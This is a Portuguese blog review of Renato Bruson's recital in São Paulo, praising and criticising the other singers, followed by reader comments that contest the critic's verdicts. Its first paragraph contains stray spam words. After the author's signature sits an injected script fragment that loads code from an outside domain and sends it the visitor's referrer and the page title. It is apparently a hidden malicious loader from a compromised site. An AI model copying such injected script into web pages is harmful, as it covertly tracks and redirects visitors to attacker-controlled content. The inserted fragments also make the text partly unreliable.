Renato Bruson vai muito bem no Grandes Vozes
Um puxão de orelhas em todos os cantores líricos de São Paulo.
O barítono italiano Renato Bruson vanterin kowa liniment cantou diversas vezes em São Paulo Tive a oportunidade de vê-lo na ópera La Traviata, de Verdi, em 2001, no Theatro Municipal de São Paulo. Naquela oportunidade pude perceber o talento vocal desse grande cantor. Uma voz com belo fraseado e graves pujantes. Sempre quando assisto à La Traviata lembro-me de Renato Bruson, uma referência no papel de Giorgio Germont.
A apresentação do grande barítono no Projeto Grandes Vozes no Theatro São Pedro, no último dia 27 de Abril, só confirmou a impressão que tive em 2001. Bruson não é mais um menininho, já passa dos setenta anos e canta bem. Sabem por quê ? Sua técnica é primorosa, entende do assunto como ninguém. Nunca cantou papéis que não se adequassem ao seu tipo de voz e soube se conservar e até os dias de hoje, quando é convidado para cantar em diversos teatros do mundo.
Iniciou o recital com uma bela canção de Tosti, “L’ultima Canzone”, uma canção que lembra uma grande ária de ópera, emocionante do começo ao fim. Cantou ao lado de Mere Oliveira, “Reverenza…buon giorno, buona donna… Alice è mia”, da ópera Falstaff, onde mostrou seu lado cômico. Após o intervalo, tivemos “Madamigella Valery…. pura siccome un angelo…siate felice”, da ópera La Traviata, uma de suas grandes especialidades, e fechou com uma das mais emotivas árias de Verdi, “Di Provenza il mare, il suol”, da ópera La Traviata. Em todas as aparições, Bruson mostrou uma voz uniforme, com graves excelentes e vigorosos. Um cantor à moda antiga, onde a voz era a excelência, a técnica preponderante e com o tempo aprendeu a interpretar os personagens, um barítono completo.
Um grande estilista da capital paulistana cedeu os vestidos para as cantoras, soube pelas redes sociais, e foi anunciado antes da apresentação. Estilista nenhum faz alguém cantar bem, mas convenhamos, uma propaganda não faz mal a ninguém. Tati Helene entrou com o vestido cedido pelo tal estilista … eu achei sem graça, mas gosto é que nem nariz, cada um tem o seu. O soprano me surpreendeu, cantou “Senza mamma”, da ópera Suor Angélica, de Puccini, e “L`altra notte in fondo al mare”, da ópera Mefistofele, de Boito. Sua voz mostrou excelente projeção, munida de um belo timbre e um lirismo sedutor. Seus agudos mostraram potência e realçaram todos os coloridos das árias. Sustentou as notas no limite na ária de Boito, não teve medo de correr esse risco, simplesmente arrebentou! Ao lado de Bruson fez bonito como Violetta, e não é qualquer soprano que canta ao lado de Bruson.
Mere Oliveira também usou o vestido do tal estilista, esse não tão feioso. Na difícil ária “Acerba voluttà”, da ópera Adriana Lecouvreur, de Cilea, a moça encontrou dificuldades. Sua voz carece de técnica para árias complexas, que exigem grande interpretação dramática. Possui graves interessantes e agudos fracos. Seu melhor momento foi “Reverenza…buon giorno, buona donna… Alice è mia”, da ópera Falstaff, de Verdi, ao lado de Bruson. Uma cantora que não empolgou.
O tenor Rinaldo Leone esteve em grande noite. Na ária “E lucevan le stelle”, da ópera Tosca, de Puccini, mostrou belos agudos, voz com belo timbre e técnica sólida. Ao lado de Bruson mostrou grande lirismo em “Ah Mimi tu più non torni”, da ópera La Bohème, de Puccini. O tenor me surpreendeu. Bravo Leoni!
Um puxão de orelha a todos os cantores líricos de São Paulo e adjacências. Na récita vi poucos cantores na plateia. Todos eles têm a obrigação de estar presentes e ver a técnica de um dos grandes barítonos. Aprenderiam muito se fizessem isso e não cometeriam muitas barbaridades que andam cometendo por aí.
Ali Hassan Ayaches.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
Prezado Aly Hassan, concordo plenamente quanto ao maravilhoso Maestro Renato Bruson e à soprano Tati Heléne, porém, dizer que o tenor Rinaldo Leone tem uma técnica sólida e dizer que Mere Oliveira “carece de técnica”, é ofensivo para quem conhece técnica vocal. Sou jornalista, mas estudei música e técnica vocal durante vários anos, viajo pelo mundo e assisti a espetáculos nas mais diversas casas de ópera e me parece que você quis encontrar alguém para negativar, e decidiu usá-la para isso. Assisti a um dia de master-class, coincidentemente no período em que ela cantava, aliás, já vi essa mezzo-soprano atuando outras vezes, e me parece que você não, no dia em que assisti ao master, ela repetiu, sem qualquer dificuldade técnica, a ária difícil a que você se referiu, e não teve sequer um problema técnico, sendo corrigida em questões interpretativas pelo professor Bruson. Já o tenor, mal conseguia cantar as notas da região de conforto, e seus agudos eram sofridos, ouvi Bruson gritar-lhe, e também trocar o duo que cantariam porque o tenor não conseguia cantá-lo. Enfim, decepcionei-me em ver o quão superficiais podem ser suas críticas e, como jornalista e leitora, gostaria de encontrar mais senso de justiça nas próximas. Estava presente ao concerto, e sim, ela empolgou a muitos de nós. Att. Julianna Malva
Ali, não sou contrária a você em relação aos cantores não se interessarem por certos espetáculos, mas um indivíduo como Bruson não merece a classe artística prestigiando-o.
Eu fiz, em 2003, um masterclass com ele em Vicenza e foi a pior experiência da minha vida. Ele foi mal educado com todos, inclusive comigo que, na época sonhava ser cantora lírica…
Soube também que ele destruiu a voz de uma querida soprano brasileira que estava na escola do Scala.
Sr. Ali, discordo com do senhor em relação ao grande Bruson! Temos barítonos melhores: o nosso Rodrigo Esteves bate esse senhor nas condições atuais em que se encontra. Por que puxar o saco? Desculpe a minha sinceridade, mas para criticar não precisa ter formação… eu também sou um crítico!
E, desculpe novamente a sinceridade, mas por que citar em uma crítica o vestido das sopranos? O que isso reflete na prestação das mesmas.
Convenhamos entre nós, precisamos de gente competente no setor erudito, por essas e outras esse País não tem futuro Erudito. Enquanto em um artigo “crítico” existirem comentários como o vestido de um, estilista de outro… a coisa vai de mal a pior!
Só se pode comentar o que se vê, e nunca o que não se vê. Aí reside a grande injustiça que pode representar uma crítica. O cara pode ter visto o cantor justamente naquele dia infeliz, e é isso o que vai para a página do jornal ou para o blog. Criticar por ouvir falar ou por testemunho de outros não existe.